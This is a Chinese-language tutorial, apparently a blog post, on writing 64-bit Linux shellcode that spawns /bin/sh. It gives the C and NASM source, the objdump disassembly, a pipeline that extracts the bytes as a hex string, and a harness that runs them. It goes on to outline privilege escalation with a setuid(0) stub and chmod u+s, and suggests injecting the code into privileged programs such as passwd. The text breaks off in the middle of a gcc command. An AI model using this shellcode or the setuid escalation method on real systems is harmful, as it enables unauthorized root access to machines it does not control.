1.使用C语言编写一个获得系统Shell的小程序。

#include <unistd.h>int main()
{char * shell[2];shell[0]="/bin/sh";shell[1]=NULL;execve(shell[0],shell,NULL);
}

编译并运行后，能够回弹Shell

[root@localhost ~]# gcc -c lyshark.c
[root@localhost ~]# gcc -o shell lyshark.o
[root@localhost ~]# ./shell
sh-4.2# ls

如果需要提取shellcode的话应该使用汇编来写提权代码，如下代码就是一段提权代码。64位系统堆栈结构已经变得和32位大不相同了

[root@localhost ~]# vim shell.Ssection .textglobal _start_start:push raxxor rdx, rdxxor rsi, rsimov rbx,'/bin//sh'push rbxpush rsppop rdimov al, 59syscall

编译并运行，此处使用nasm 编译

[root@localhost ~]# yum install -y nasm
[root@localhost ~]# nasm -f elf64 shell.S -o shell.o
[root@localhost ~]# ld shell.o -o shell
[root@localhost ~]# ./shell
[root@localhost root]# ls

发现能够获取到Root目录的权限，接着直接查询生成的机器码。

[root@localhost ~]# objdump -d shell
shell:     file format elf64-x86-64
Disassembly of section .text:0000000000400080 <_start>:400080:       50                      push   %rax400081:       48 31 d2                xor    %rdx,%rdx400084:       48 31 f6                xor    %rsi,%rsi400087:       48 bb 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rbx40008e:       2f 73 68400091:       53                      push   %rbx400092:       54                      push   %rsp400093:       5f                      pop    %rdi400094:       b0 3b                   mov    $0x3b,%al400096:       0f 05                   syscall

直接使用sed工具过滤出这些东西，如下，非常简单。

[root@localhost ~]# objdump -d shell | grep "[0-9a-f]" | grep -v "file" | cut -f2 -d: \
| cut -f1-6 -d' '| tr -s ' '| tr '\t' ' '| sed 's/ $//g'| sed 's/ /\\x/g' | paste -d '' -s | \sed 's/^/"/' | sed 's/$/"/g'"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

接着就是测试这段代码的可用性了，如下代码；

#include <stdio.h>
#include <string.h>char *shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";int main(void)
{fprintf(stdout,"Length: %d\n",strlen(shellcode));(*(void(*)()) shellcode)();return 0;
}

代码提权思路，下面这段代码配合 chmod u+s 权限的设置，可以提权，我们可以将这段代码的汇编格式提取出来，然后将其注入到passwd等具有特权指令的目录下，然后就能完成权限的提升了。

#include <stdio.h>
int main(){
setuid(0);
execve("/bin/sh",NULL,NULL);
}gcc -m64 -z execstack -fno-stack-protector -o